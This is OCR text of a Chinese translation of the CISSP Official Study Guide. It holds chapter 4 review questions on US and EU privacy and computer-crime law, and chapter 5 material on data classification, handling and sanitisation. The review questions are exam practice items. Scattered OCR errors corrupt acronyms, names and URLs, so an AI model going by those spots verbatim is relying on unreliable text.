理解在美国和欧盟管理个人信息隐私的主要法律。 美国有很多影响政府对信息的使用 以及控制
涉及敏感信息 的具体行业(如金融服务公司和卫生健康组织)对信息使用的 隐私法律。 欧盟对数据隐
私有着更加广泛的法令 ， 以 管理个人信 息的使用 和交换。
了解法庭上可接纳的证据的基本要求。 要被接纳， 证据就必须与本案发生的事实相关， 事实必
须对本案是必要的， 并且证据必须有法定资格或是合法收集的 。
了解怎么把安全整合到采购和供应商管理流程中 。 被许多组织大量使用 的云服务， 就要求更加
注 意在供应商选择过程中 ， 以及作为供应商持续管理的一部分， 引 导信息安全控制 的审查。
4.7 书 面实验室
l . 在 欧盟的数据隐私法令下 ， 什么关键因素保障了个人权利 ?
2. 在考虑外包信息存储 、 处理和传输时 ， 什么应该是组织应该去 问 的一些常见问题?
3. 为 了 向员工通知系统监视， 雇主采取 的常见措施是什么 ?
4.8 复 习 题
1 . 对于病毒、 密码和其他类型的破坏计算机系统的恶意代码的编写者， 下列哪个刑法是第一个
去执行惩罚的?
A. 计算机安全法案
B. 国 家基础设施保护法案
C. 计算机欺诈和滥用法案
D. 电子传输隐私法案
2 哪条法律首先要求美国联邦的相关计算机系统操作者接受计算机安全问题的定期培训 ?
1 02
A 计算机安全法案
B. 国家基础设施保护法案
c. 计算机欺诈和滥用法案
D. 电子通信隐私法案
3. 什么类型的法律并不要求国会的法案在联邦一级执行 ， 而是由行政部门 以法规、 政策和程序
的 形式颁布?
第4章 法律、 法规和合规性
A. 刑法
B. 普通法
C. 民法
D. 行政法
4. 哪个联邦政府机构有安全责任确保政府计算机系统没有用于处理敏感和/或分类信息 ?
A. 美 国 国家安全局
B. 联邦调查局
C. 国 家标准和技术协会
D. 联邦情报局
5. 什么 是计算机系统最广泛的类别 ， 这个类别受计算机欺诈和滥用方案(修正案)保护 ?
A. 政府所属系统
B. 联邦相关系统
巳 用于洲际贸 易 的系统
D. 美国境内系统
6. 在设置对获得政府部门授权的监管部门搜查私人住宅和设施的权利限制方面， 什么法律保护
了 公 民的隐私权?
A. 隐私法案
B. 第 四修正案
C. 第二修正案
D. Grarnm-Leach-Bliley 法案
7. Matthew 最近编写了一个创新的算法去解决一个数学问题， 并且他希望与全世界分享。 但是，
在技术杂志上发布软件代码之前， 他想获得一些知识产权方面的保护。 下列哪个保护最适合他?
A. 版权
B. 商标
C. 专利
D. 商业秘密
8. Mary 是一家制造企业 Acme Widgets 的联合创始人。 与合伙人 J侃 一起， 她开发了一个特种
油 ， 能显著提高小部件的生产过程。 为了保证配方的机密性， Mary 和 Joe 计划在其他工人离开后，
由他们 自 己在厂房里大量生产这种油。 他们想尽可能保护这个配方。 下列哪个知识产权保护最适合
他们 ?
A. 版权
B. 商标
C. 专利
D. 商业秘密
9. Richard 近期为计划即将开始使用的新产品起了一个不错的名字。 他与律师商量并填写相应
的申请去保护他的产品名字， 但是仍未从政府收到关于他的申请的回应。 他想立即开始使用名字。
他应该使用什么样的符号来表明他的产品名字处于受保护 的状态?
A. 。
B. ⑧
C. ™
1 03
CISSP 官方学习指南(第 7 版)
D. t
1 0. 什么法律禁止政府机构泄露个人提交给政府保护环境下的信息?
A. 隐私法案
B. 电子通信 隐私法案
c. 健康保险流通与责任法案
D. Gramm-Leach-Bliley 法案
11. 软件行业使用什么法律来正式地派发大量许可， 并试着标准化从一个州|到另一个州的使用 ?
A. 计算机安全法案
B. 统一计算机信息处理法案
c. 数字千禧年版权法案
D. Gramm-Leach-B1i1ey 法案
12. 儿童联机隐私保护法案被设计用来保护在互联网上使用 的儿童隐私。 在企业可以从他们那
里 收集未经父母同 意的个人身份信息之前 ， 孩子的最小年龄是几岁 ?
A. 13
B. 14
c. 15
D. 16
13. 为了获得数字千禧年版权法案的短暂活动条款的保护， 下列哪些是互联网服务提供商不用
满足的需求?
1 04
A. 服务提供商和消 息的发起者必须处于不同 的状态。
B. 传输、 路由、 连接的提供或复制必须由一个没有通过服务提供商选择的材料的 自 动化技
术过程来进行。
c. 任何中 间副本一般不得让预期外的任何收件人访问， 并且不得保留超过合理必要的时间。
D. 传输必须 由 除供应商 以外的人发起。
1 4. 以 下哪一个法律不是为了 保护消费者和网民 的隐私权?
A. 健康保险易流通与责任法案
B. 阻止盗用和伪装身份法案
c. 美国爱国者法案
D. Gramm-Leach-B1iley 法案
15. 以 下哪一项许可协议类型不需要用户在执行之前确认他们 己经阅读 了 协议 ?
A. 标准许可协议
B. 拆封协议
c. 单击许可协议
D. 口 头协议
1 6. 什么行业受 Gramm-Leach-Bliley 方案中 的条款影响最直接 ?
A 卫生保健
B. 银行
c. 执法
D. 防护承包商
第4章 法律、 法规和合规性
1 7. 在美国专利保护期是多长?
A. 提交 申请日开始 14 年
B. 专利获得 日 开始 14 年
C. 提交申请 日 开始 20 年
D. 专利获得日开始 20 年
1 8. 在处理关于欧盟数据隐私法令下的个人信息时， 以 下哪一项不是有效的法律依据 ?
A 合同
B. 法律义务
C. 市场需求
D. 赞成
1 9. 涉及信用卡信息处理时 ， 要符合什么合规义务?
A. SOX
B. !丑PAA
C. PCI DSS
D. FERPA
20. 什么法案更新 了 健康保险流通与责任法案(皿PAA)中 的隐私和安全需求?
A. HITECH
B. CALEA
C. CFAA
D. CCCA
1 05
第 5 写主
保护资产的 安全
本章中覆盖的 CISSP 考试大纲包含 :
人 对信 息及支持资产进行分类(如敏感性 、 关键性)
B. 确定及维护所有权(如数据所有者、 系统所有者、 业务/任务所有者)
C. 保护隐私
• C. l 数据所有者
• C.2 数据处理者
• C.3 数据剩磁
• C.4 收集限制
D. 确保适当地保留资产(如介质 、 硬件、 人员)
E 确定 数据安全控制(如静态数据、 传输过程中 的数据)
• E. l 基准线
• E.2 审视和定制
• E.3 标准选择
• E.4 密码学
F. 建立处理需求(敏感信息 的标记、 贴签、 存储、 破坏)
资产安全领域着重于在信息的整个生命周期中收集、 处理和保护信息。 在这一领域的主要步骤
是根据对组织的价值来分类信息 。
所有后续行动都根据分类的不同而不同。 例如， 高级机密数据要求有严格的安全控制。 相比之
下 ， 非机密数据需要的安全控制则更少。
5. 1 对资产进行分类和标记
资产安全的第一步是对资产进行分类和标记。 组织通常包括安全策略中 的分类定义。 然后人员
根据安全策略的要求对资产进行标记。 在这种情况下， 资产包括敏感数据、 用于处理数据的硬件以
及用来保存数据的介质 。
CISSP 官方学 习指南(第 7 版)
5.1.1 定义敏感数据
敏感数据指所有不公开或未分类的信息， 可能包括组织需要保护的机密、 专有信息 ， 或因数据
对组织的价值或组织为遵守现行法律 、 法规而保护的任何其他类型 的数据。
1 . 个人身份信息
个人身份信息σII)是指任何可 以识别个人的信息。 美国国家标准技术研究所例1ST)的专业出版
物 800- 1 22 提供了 更正式的定义:
任何有关 个人的信息 ， 包括:
• 任何可以用 来区 分或E民踪个人身份的信息， 如姓名 、 社会保障号 、 出 生 日 期和出生地、 母
亲 的娘家姓或生物学记录。
• 任何其他个人相 关信息 ， 如医疗 、 教育 、 金融和就业信息。
关键是组织有责任保护 PII。 这包括 PII 相关的员工和客户 。 许多法律要求， 如果数据泄露导致
PII 的破坏 ， 组织应通知个人。
提示 :
对个人身份信息(PII)的保护对世界各地(特别是北美和欧盟)的规则 、 规定和立法提出 了 保密要
求。 NIST SP 800-122 ((保护个人身份信息σII)机密性指南》 对于如何保护 PII 提供 了 更多信息。 可
以从 NIST 专业出版物(800 系 列)下载页 面获取此文件: http://，ωrc.rust.gov/publicationslPubsSPs.h位nl.
1 08
2. 受保护的健康信息
受保护的健康信息σ田)是任何与个人健康有关的信息。 在美国 ， 健康保险流通与责任法案
(团PAA)授权保护 P阻。 四PAA 提供了更加正式的 P阻 定义:
健康信息是指 口 头或以任何形 式记录或存放在介质 中 的任何信息 :
• 由 卫生保健提供商 、 健康计划 、 卫生行政部 门 、 雇主、 人寿保险公司 、 学校或大学、 医 疗
清 算公司 创 建或接收。
• 与任何个人过去、 现在或将来身体或精神健康或状态相关、 与向个人提供医疗保健相关或
与 向 个人提供 医疗保健而进行的 过去 、 现在或未来支付有关。
有些人认为只有医生和医院等医疗保健提供商需要保护 P目。 然而， 因PAA 对 P阻 的定义要广
泛得多 。 任何提供或补充医疗策略的雇主都会收集和处理 P阻。 这对于提供或补充医疗策略的组织
来说是很常见的 ， 所 以 回PAA 适用 于美国 大部 分的组织。
3. 专有数据
专有数据指的是任何帮助组织保持竞争优势的数据。 可 以是开发的软件代码、 产品的技术计划、
内部流程、 知识产权或商业秘密。 如果竞争对手能够访问私有数据， 就可能会严重影响组织的主要
任务。
虽然版权、 专利和商业秘密法律为专有数据提供了一定程度的保护， 但这并不总是足够的。 许
多罪犯不重视版权、 专利和法律 。 同样， 国 外组织也窃取了大量的专有数据 。
作为一个例子， 信息安全公司 Mandiant 在 2013 年发布了一份报告 ， 一支他们命名为 APTl 的
团体， 在国外进行操作 。 Mandiant 将相当数量的数据盗窃归 结于这种高级持续威胁(Advan臼d
第 5 章 保护资产的安全
Persistent Threat， APT)。 他们观察了受到 APT1 危害的 141 家公司 ， 跨越 20 个主要行业。 在一个实
例中， 他们观察到 ， APTl 在 1 0 个月 的时间内窃取 了 6.5TB 的压缩后的知识产权数据。
注意 :
20 1 4 年， 美国 网 络安全公司 FireEye 以 大约 1 0 亿美元的价格收购 Mandiant.
5.1 .2 定义分类
组织通常会在安全策略或在单独的数据策略中包括数据分类。 数据分类识别的是数据对于组织
的价值， 并对数据的机密性和完整性保护至关重要 。 策略确定了 组织内使用 的分类标签 ， 还确定了
数据所有者如何确定合适的分类以及人员应如何根据分类保护数据 。
例如， 政府数据分类包括绝密 、 保密、 机密和非机密。 高于非机密级别的所有信息都属于敏感
数据， 但很显然， 它们的价值不同。 美国政府对这些分类提供了 明确的定义。 当你阅读时 ， 注意每
个定义的措辞都是相近的， 除了一些关键词不同。 绝密使用的短语是 "特别严重的损害"， 保密使用
的 短语是 " 严重损害 '飞 机密使用 的 术语是 "损害"。
绝密 绝密标签适用于这样的信息，"未授权披露通常可能会对国家安全带来可以 由原分类组织
识别或描述的特别严重的损害 。 "
保密 保密标签适用于这样的信息，"未授权披露通常可能会对国家安全带来可以 由原分类组织
识别或描述的严重损害。 "
机密 机密标签适用于这样的信息， "未授权披露通常可能会对国家安全带来可以 由原分类组织
识别或描述的损害 。 "
非机密 非机密信息指不符合上述绝密、 保密、 机密标签描述的任何信息 。 在美国 ， 非机密信
息任何人都可用， 尽管通常要求个人使用信息 自 由法案σr臼dom OfInformation Act， FOIA)中确定的
程序来 申 请这些信息。
分类组织是将原分类适用于敏感数据并规定谁能这么做的严格规则的实体。 例如， 美 国总统、
副总统和部门负责人在美国可以分类数据。 另外， 担任这些职务的个人可 以委托他人对数据进行
分类。
提示 :
虽 然分类的重点通常是数据， 但这些分类也适用 于硬件， 这 包括任何处理或保存这些数据的计
算系统或 介质 。
非政府组织很少需要基于对国家安全的潜在危害对数据进行分类。 然而， 管理层会担心对组织
的潜在损害 。 例如， 如果攻击者访问 组织的数据， 潜在的负面影响是什么 ? 换句话说， 组织并不仅
仅考虑数据的敏感性， 还会考虑数据的关键性。 他们在描述绝密、 保密、 机密数据时也会使用美 国
政府采用 的相同短语， 即 "特别严重的损害 "、 " 严重的损害 " 和 "损害"。
一些非政府组织使用标签， 比如分类 3、 分类 2、 分类 l 、 分类 0。 其他组织使用更有意义的标
签 ， 比如机密(或专用)、 私有、 敏感和公开。 图 5. 1 展示了 这些不同分类之间的关系， 左边是政府分
类， 右边是非政府(或民用)分类。 正如政府可以基于数据泄露的潜在负面影响未定义数据 ， 组织也
可 以使用类似的描述。
1 09
CISSP 官方学习指南(第 7 版)
政府分类和l来 自 于数据泄露的
潜在损害
主包寄:
特别严重的损害 分类 3
非政府分类和来自 于数据泄露
的潜在损害
机密/专有
特别严重的损害
保密
严重的损害 分类 2 私有
严重的损害
机密
损害 分类 l
敏损
感害
非机密
无损害
分类 。 公开
无损害
图 5 . 1 数据分类
对于政府分类来说， 在标识数据对组织的相对价值方面， 绝密代表最高等级， 对于如图 5. 1 所
示的组织来说， 机密代表最高分类。 然而， 重要的是要记住， 组织可以使用任何他们想用的标签。
当使用 图 5. 1 中 的标签时 ， 敏感信息是指所有非机密等级以上(当使用政府分类时)或非公开(当使用
民用 分类时)的信息 。 以 下部分讲述的是非政府分类的意义。
索尼攻击
你可能还记得 2014 年 1 1 月 和 12 月 对索尼公司 的攻击。 Mandiant 公司 的创始人 Kevin Mandia
表示 "这种攻击的范围不同 于我们过去应对的任何攻击， 因为其目 的 是破坏财产并将机密信息向公
众发布。 最重要的是 ， 这是由 一个有组织 的 团体执行的无与伦比的、 精心策划 的 犯罪。"
攻击者获得超过 100TB 的数据 ， 包括未发布电影的完整版本、 薪 资信息和内部电子邮件。 其 中
一些数据比其他数据对组织更有价值。 当你阅读 非政府数据分类的定义时， 考虑其对索尼公司 带来
损害的严 重性以及此类数据的适当分类。 注意， 任何人对数据的分类标签都可能与 索尼公司 数据所
有者的分类不同。 这里没有对错。 然而， 攻击确 实为我们 提供 了 一些现实的例子。
机密或专有 机密或专有标签指的是最高水平的分类数据。 在这种情况下， 数据泄露会对组织
使命造成特别严重的损害。 索尼攻击后， 攻击者发布了几个电影的未发布版本。 它们迅速出现在文
件共享网站上， 安全专家估计人们对这些电影进行了多达 1 00 万次下载。 因 为有了盗版电影， 当索
尼最终发布这些电影时， 许多人也就不用看了 。 这直接影响到他们的盈亏底线 。 电影是专有的 ， 组
织可能会认为这是非常严重的损害。 回想起来， 他们可以选择将电影作为机密或专有信息， 并使用
最强的访 问 控制来保护它们 。
私有 私有标签指的是数据应为组织私有 ， 但不符合保密或专有数据的定义。 在这种情况下，
数据泄露会对组织使命造成严重损害。 索尼攻击后， 攻击者发布了索尼公司 30 000 多名员工的薪资
信息， 包括 1 7 位高管数百万美元的薪水。 当这些细节出来后 ， 员工开始将他们的薪水和这 17 位高
管进行比较， 可以打赌这肯定造成了 内部问题。 索尼公司可能认为这是严重的损坏， 现在回想起来，
可能会选择将这种类型的 数据标注为私有标签。
敏感 敏感数据类似于机密数据。 在过种情况下， 数据泄露会导致对组织使命的损害。 索尼攻
110
第5章 保护资产的安全
击发生后， 攻击者发布了一份被解雇或终止合同的所有员工的 电子表格。 其中包括终止的原因和每
个员工终止合同的成本。 他们还发布了 几封电子邮件， 包括尴尬的评论。 例如， 一个制作人将一名
电影明星说成"稍有才华的被宠坏的小孩 飞 一些电子 邮件还包括许多人视为无情的种族言论的 内容。
这些都是尴尬的 ， 还可能会对组织造成损害。 回想起来， 他们可以选择将这种类型的数据标注为敏
感信息并适当 地保护 。
公开 公开数据类似于未分类数据 ， 包括发布在网站上、 宣传册中或任何其他公共来源的信息。
尽管组织不保护公开数据的机密性， 但仍需采取措施保护其完整性。 例如， 任何人都可以查看发布
在网站上的公共数据 。 然而 ， 组织不想让攻击者修改这些数据 ， 因此需要措施来保护它们 。
提示 :
虽 然 CISSP 考试大纲(CIB)指 出任何没有公开或未分类的数据为敏感信息 ， 但一些组织仍使用 敏
感作为标签。 换句话说， 和 CISSP 考试中 的意思相比， "敏感信息" 一词在组织 中 的 意思可能会不
同 。 对 于考试来说， 只 要记住 "敏感信息" 是指任何未公开或分类 的信息。
不要求民 间组织使用任何特定的分类标签。 然而， 重要的是要以某种方式分类数据 ， 并确保人
员 理解分类。 不管组织使用什么标签， 都仍然有义务保护敏感信息。
对数据进行分类后， 组织需要基于分类采取额外的措施来进行管理。 对敏感信息未经授权的访
问可能导致对组织的重大损害。 然而， 基本的安全措施， 如根据分类正确标记、 处理、 存储和破坏
数据， 有助于防止损失 。
5.1 .3 定义数据安全要求
在定义了 数据分类后， 对数据的安全要求进行定义也很重要 。 比如， 组织应该采取什么步骤保
护邮件的安全性?
组织至少应该对比较敏感的邮件进行标记和加密。 加密是将明文转换为密文， 从而增加阅读的
难度。 采用强大的加密方法， 例如， 拥有 256 位加密密钥的高级加密标准(血S 256)， 使未被授权者
能够阅读加密文章 的可 能性几乎为零 。 表 5. 1 表明 组织可能会对 邮件实施的安全要求 。
表 5.1 保护电子邮件数据安全
分类 | 对电子邮件的安全需求
机密 | 电子邮件和附件必须用 AES叫密
电子邮件和 附件除了被浏览时妥一直保持被加密
电子邮件只能在组织内 发送给收件人
电子邮件只 能被收件人打开和浏览(被发送邮件不能被打开)
附件能被打开和l浏览 ， 但不 能保存
电子邮件的 内 容不能被拷贝和粘贴到其他文档中
电子邮件不能被打印
隐私 | 电子邮件和 附件必须用 AES 256 加 密
电子邮件和 附件除了被浏览时耍一直保持被加密
电子邮件只能在组织内 发送给收件人
敏感 | 电子邮件和 附件必须用 AES 256 加 密
公开 | 电子邮件和附件能够以 明 文形式发送
111
112
CISSP 官方学习指南(第 7 版)
注意 :
表 5. 1 所列 的要求仅仅用作举例 。 任何组织都可以使用 这些要求， 也可以定义适合组织 自 身 的
其他要求。
虽然满足表 5.1 的所有要求也是可能的， 但是各个组织可能会要求施行其他的解决方案。 例如，
Boldon Jarnes 销售的一些产品就可 以让各组织自动完成这些任务。 使用者在发送电子邮件之前， 可
以为邮件贴上相关的标签(如保密、 私有、 敏感及公开)。 之后的数据丢失防护(Data Loss Prevention，
DLP)服务器可以检测到这些邮件的标签 ， 并且对它们实施相应的保护。
表 5. 1 列出了组织希望对邮件实施的一些可能性要求， 但是各个组织的要求可能不止于此。 各
个组织想要保护的任何类型数据都需要进行类似的安全定义。 例如， 组织可以对存储在服务器上的
数据、 存储在办公场所内 外的备份数据以及专有数据(例如， 未发行的全部电影数据)进行安全性要
求的定义。
5. 1 .4 理解数据状态
在数据静止、 传输以及使用过程中 ， 保护数据的安全性是非常重要的 。 静态数据是指存储在介
质(例如， 硬盘、 USB 闪存盘、 存储区域网(SAN)和备份磁带)上的数据。 传输数据(有时称为动态数
据)是指那些通过网络传送的数据， 包括通过有线或无线在内 网上传输的数据以及在公共网络(如互
联网)上传输的数据 。 使用中 的数据是指在临时存储区 中正在被应用程序使用 的数据 。
保护数据机密性的最好方法是使用强大的加密协议， 这一点将在本章的后面进行讨论。 此外 ，
强大的身份验证和授权控制能有效阻止未经授权的访 问 。
比如， 用 于检索电商交易 中信用卡数据的 Web 应用程序。 这种信用卡数据存储在一台单独的数
据库服务器中 ， 并且在静态、 动态以及使用时都会得到保护 。
数据库管理员会采取措施对存储在数据库服务器上的敏感数据(静态数据)进行加密。 例如， 他
们会对存储敏感数据(如信用卡数据)的列进行加密操作。 而且 ， 他们还会施行身份认证和授权控制，
以 防止未经授权的实体访 问 数据库。
当 Web 应用程序从 Web 服务器上发送数据请求时， 数据库服务器会验证 Web 应用程序是否己
获得检索数据的授权。 如果情况属实， 数据库服务器就会发送数据。 然而， 这需要几个步骤来完成。
例如， 数据库管理系统首先要检索和解密数据， 并将其转变为 Web 应用程序可读取的格式。 接着，
数据库服务器在传送之前使用传输加密法则对数据进行加密，这确保了数据在传输过程中 的安全性。
Web 应用程序服务器对收到的加密数据进行解密， 然后传输给 Web 应用程序。 在授权传输时，
Web 应用程序会把数据存储在临时缓冲区中。 当 Web 应用程序不再需要这些数据时， 该程序会采取
措施来清除内存缓冲区， 确保所有敏感数据从内存中彻底清除。
5.1 .5 管理敏感数据
管理敏感数据的一个主要 目 标是防止数据泄露。 数据泄露会使任何一个未被授权的实体查看或
访问敏感数据 。 如果看新闻， 你可能会经常听到有关数据泄露的事件。 比如在 201 4 年， 索尼数据泄
露事件就是当时的头版头条。 即使从没昕过小规模的数据泄露事件， 但这些也是经常发生的， 每周
平均会有 1 5 次关于数据泄露事件的报道。 接下来， 我们将明确各组织内部人员在查询数据时应当遵
第 5 章 保护资产的安全
循的几个基本步骤， 以 降低数据泄露的可能性。
注意 :
身份盗窃资源、 中 心(IdentityThe企 Resource Center， ITRC)通常会对数据泄露进行追踪。 该中心通
过他们的网站(www.idthe武center.or的发布相关报道供人们 自 由浏 览。 20 14 年 ， 他们追踪 了 783 件数
据泄露事件， 公开 了 8500 多 万条记录， 核算下来， 大约每周会发生 1 5起数据泄露事件， 并且每年
的数据泄露事件呈上升趋势。
1 标记敏感数据
对敏感数据进行标记(通常称为贴签)能确保用户 可以轻松识别任何数据的分类级别。 标记或标
签提供的最重要信息就是关于数据的分类。 例如， 绝密标记能让看到的人明 白该信息属于最高机密
级别。 在了解数据价值后 ， 用户很有可能在分类的基础上采取适当措施进一步控制和保护这些信息。
标记包括物理的和电子的标记和标签。
物理标签能指出存储在介质或处理系统上的数据的安全性分类。 例如， 如果备份磁带包含机密
数据， 该磁带就会被贴上物理标签以 明确告知使用者其含有机密数据。 同样， 如果一台计算机有机
密信息， 该计算机将会被贴上标签以指示其含有最高机密级别的数据。 一台计算机通常可用来处理
保密、 私密和绝密数据， 因此， 对处理最高机密数据的计算机应该做出标记。 物理标签会一直保留
在系统或介质上 。
提示 :
许多 组织用 带颜 色编码的硬盘来辅助标记工作。 例如， 一些组织大量购买红色的 USB 问存盘，
员 工只 能用 该盘复制机密敖据。 技术安全控制 中 心用 通用 唯一识别符(UUID)来识别这些 问 存盘， 进
而执行安全策略。 DLP 系 统能阻止用 户 将数据拷贝 到其他 USB 设备上， 并且能确保当用户将数据
复制到其他这样的设备时， 数据会被力口 密 。
标记也包括使用数字水印或标签。 一种简单方法是将数据归类成文档 中的标题和脚注， 或将其
嵌入作为水印。 这种方法的好处是在打印输出时， 这些标记也会显示出来。 即使文档打印出来包含
了 标题和脚注， 很多组织也还会要求使用者将打印 出来的敏感数据文档用含有标签和封面的文件夹
进行装订， 从而更加明确这些数据的分类。 不只文件能用标题， 很多备份磁带也可以包含标题信息，
并且还可 以在标题中添加分类信息。
标题、 脚注和水印的另一个好处是， DLP 系统可以识别包含敏感信息的文档并施行适当 的安全
控制。 一些 DLP 系统在检测到这些文档被归类后， 会把元数据标记附到其中 。 通过这些标签可以洞
察这些文档 的内容并帮助 DLP 系 统更加妥善地处理文档 。
同样， 一些组织设定他们的计算机必须使用特定的桌面背景 。 例如， 用 于处理专用数据的计算
机系统可能会用黑色的桌面背景， 以及白色的 " 专用 " 二字和橙色宽边框。 桌面背景上也可能会有
声明， 如 "这台 电脑处理专用数据 "， 警示使用者有责任保护这些数据的 安全性。
在许多安全环境中 ， 人们也会对非机密介质和设备进行标记， 如此可预防在敏感信息未被标记
时发生遗漏失误。 例如， 如果存储有敏感数据的备份磁带没有被标记， 用户 可能会认为上面只包含
了 非机密数据 。 但是， 如果组织对非保密数据也进行了标记， 用户使用 时就可能会多考虑一下。
各个组织通常会明确介质降级的程序。 例如， 如果备份磁带含有机密信息， 管理员可能希望将
其降级为非机密备份磁带。 各个组织还会对可信的程序进行鉴别， 并对磁带中 的所有可用数据进行
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CISSP 官方学 习指南(第 7 版)
清除处理。 在管理员将磁带中 的数据清除后 ， 他们就可 以执行降级操作并重新替换标签 。
然而， 许多组织都禁止介质降级。 例如， 数据政策可能会禁止对存储有绝密数据的备份磁带进
行阵级。 相反， 该政策也可能会授权系统在磁带生命周期结束时将其销毁。 同样， 系统几乎是不可
能降级的。 换句话说， 如果一个系统 曾经处理过绝密数据， 它几乎是不可以降级的， 也不可能被重
新标记为非机密系统。
注意 :
如果介质或系统需要降级为较不敏感的数据分类 ， 就必须通过适当程序来净化其中的数据， 相
关 内容会在本章后面 的 "销毁敏感数据" 一节 中讲到 。 然而 ， 与 净化数据重新使用 相比而言， 直接
购 买新的介质或设备往往显得更使捷 、 更安全。 许多 组织都采用 禁止任何介质或系统降级的策略。
2. 管理敏感数据
管理敏感数据是指在介质的整个生命周期内确保传送过程的安全。 人们依据数据的价值和分类
对其进行不同的管理， 正如你所期望的 ， 高级机密信息需要更强大的保护。 尽管上面说到的这些都
是常识， 但人们还是会在这方面犯错。 很多时候， 人们习惯于处理敏感信息， 但对于保护这些信息
却不关心。
例如， 20 1 1 年4月， 英国国防部错误地公布了有关核潜艇的保密信息和其他二些机密信息， 作
为对信息 自 由请求的回应。 他们通过图像编辑软件将机密信息标黑并进行了重新编辑。 然而， 任何
想试图复制 数据的人都 能够复制整篇 文档 ， 包括标黑的数据 。
有一个普遍的现象就是， 人们很少在意对备份磁带的控制。 备份磁带应该与备份数据一样受到
同级别 的保护。 换句话说， 如果机密信息存储在备份磁带中 ， 备份磁带就应该被视为机密信息保护
起来。 然而， 很多例子表明人们并没有遵循这一准则 。 20 1 1 年 ， 一家政府的承包商 ， 国 际科学应用
公司(SAIC)并没有对备份磁带进行控制 ， 而这些磁带包含 490 万名患者的 PII和P皿 数据。 即使是
低于 HIPAA 数据分类的 P四 数据 ， 也需要得到具体措施的保护， 但显然 SAIC 并没有对其实施保护。
要想确保人们了解如何处理敏感数据， 那么策略和程序都必须到位。 最先要做的就是， 确保系
统和介质都己经被合理标记。 第 17 章 " 事件预防和响应" 将讨论记录、 监控和审计的重要性。 这些
控制是为了确保在重大损失发生前， 机密数据得到了应有的妥善处理。 如果损失确实发生了 ， 调查
员会使用审计线索来发现到底在什么地方出错了 。 任何一起因没有恰当地处理数据而发生的突发事
件 ， 都应及时展开调查并采取措施 以 防止类似事件的再次发生。
3. 存储敏感数据
敏感数据应存储在受保护且没有任何损失的介质中 。 最有效的保护办法就是加密。 在撰写本书
时， AES 256 提供了 强大的数据加密方法， 井且许多应用都可 以通过 AES 256 对数据进行加密 。 此
外 ， 许多操作系统内置了 同 时对文件级和磁盘级别数据进行加密的功能。
如果敏感数据存储在物理介质上， 如便携式硬盘或备份磁带， 那么人们应遵循基本的物理安全
做法， 以防止因盗窃而损失数据。 这些做法包括将数据存储在保险箱、 保险库或安全室内， 也包括
另 外的一些物理控制 。 例如， 服务器机房应包括物理安全措施， 以防止未经授权的实体访问数据 ，
所 以将便携式介质存放在服务器带锁的柜子 内 能有力地保障数据安全。
此外， 也应该采取环境控制来保护介质的数据安全。 这些做法包括温度和湿度控制， 如安装加
热 、 通风和空调(HVAC)等系统。
第 5 章 保护资产的安全
这里有一点终端用户经常忘记: 任何敏感数据的价值都大于存储介质的价值。 换句话说， 买高
质量的存储介质是物超所值的 ， 尤其是当数据要被保存很长一段时间 的情况下， 例如备份磁带。 同
样 ， 购买内置加密程序的高品质 USB 闪存也是值得的 。 一些 USB 闪存内置了需要使用指纹的身份
验证装置， 这就为数据安全提供 了 额外保护 。
注意 :
加密敏感数据为数据安全提供了 一层额外保护， 并且也应 当 把静态数据考虑在内 。 如果数据做
了 力口密， 那 么 即 使存储被盗， 攻击者也很难获取数据 。
4. 销毁敏感数据
当组织不再需要这些敏感数据时， 就应当将其销毁。 适当的破坏可以确保这些数据不会落入投
机者的手中， 从而防止未经授权的数据泄露。 与低级数据相比， 高级机密数据需要不同的销毁步骤。
组织的安全策略或数据策略中应当根据数据分类原则来定义销毁数据的方法。 例如， 组织可能要求
完全销毁存储高级机密数据的介质 ， 但允许人员 使用软件工具来覆盖较低级别的数据文件。
数据剩磁(data reman巳nce)是指数据仍然作为剩余磁道上的数据保留在硬盘驱动器上。 利用系统
工具来删除数据 ， 通常会使许多信息残留在介质中， 很多工具可以很容易地取消删除。 即使使用复
杂的工具来覆盖介质， 原始数据的痕迹可能仍然会存在， 并保存在不易 察觉的磁盘区域。 这类似于，
如果相同的数据经过长时 间显示后， 会在电视或计算机显示器上显示出重像。 取证专家和攻击者可
以使用 工具来恢复这些数据 ， 即使介质 己被覆盖。
删除数据剩磁的一种方法是使用消磁工具。 消磁工具能产生强大的磁场区域， 并将磁介质(传统
的硬盘、 磁带和软盘驱动器)中 的磁场区域重新排列。 强大的消磁工具能够有效地重写这些磁场区域
并且消除数据剩磁。 然而， 这种方法仅在磁介质上有效。
相反， 固态硬盘(Solid State Drives， SSD)使用 的是集成电路， 而不是旋转盘片的磁盘。 正因为
如此， 固态硬盘没有数据剩磁并且去磁也不会删除数据。 然而， 即便使用其他方法从固态硬盘中删
除数据 ， 数据剩磁也依然存在 。 在一篇题为 " 在 闪存固态硬盘中可靠地删除数据 " 的论文中
(www. usenix.orgllegacy/eventJfastl llt巳ch/full__papers/wei.p哟， 作者发现， 就单个文件来说， 传统的净
化方法没有一个有效。 一些固态硬盘包含内置的擦除命令来净化整个磁盘， 但遗憾的是， 对来自 不
同制造商的一些固态硬盘不起作用 。 基于这些风险， 最好的净化方法就是销毁固态硬盘。 美国国家
安全局(NSA)要求使用经批准的粉碎机来破坏固态硬盘。 批准的粉碎机可以粉碎尺寸为 2 毫米或更
小的固态硬盘。 安全工程设备(Security Engineered Machinery， SEM)出售许多销毁信息和消除数据的
设备， 其 中包括许多 由美国 国家安全局批准的设备 。
警告 :
执行倒可类型 的 消除、 清除、 净化过程时者陕小心。 人为操作的设备或工具可能无法正常执行
这些任务， 并且可能无法完全从介质上删除数据。 软件可能是有缺陷的， 磁体可以有辛苦误， 这都有
使用 不 当 之时。 在进行了 净化处理之后 ， 始终要验证是否达到 预期效果。
下面的列 表包括一些与销毁数据相关的常见术语:
擦除 擦除介质上的数据就是对文件、 文件的选择或整个介质执行删除操作。 在大多数情况下，
删除或清除程序只是删除了 日 录或与 目 录相链接的数据。 实际的数据还在驱动器中 。 随着新文件写
入介质 ， 系统最终将重写删除的数据， 但是这取决于驱动器的大小、 还有多少剩余空间 以及其他影
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CISSP 官方学 习指南(第 7 版)
响因素， 数据可能几个月 都不会被完全重写 。 任何人都 可 以使用复原工具来恢复这些数据 。
消除 消除或重写是使介质可 以重新使用 的一个准备过程， 这个过程可以确保消除的数据不会
通过传统的工具恢复。 当介质上的数据被消除时， 非机密数据被写在介质上的所有可寻位置。 一种
方法是在整个介质中写入单个字符或特定的位模式。 另一种更常用的方法就是在整个介质中写入单
个字符， 将这个字符填充到整个介质中 ， 最后用一个随机位来结束。 这种方法就是在 3 个单独的磁
道中不断重复， 如图 5.2 所示。 虽然这听起来好像原始数据永远丢失了 ， 但是有时可以通过一些复
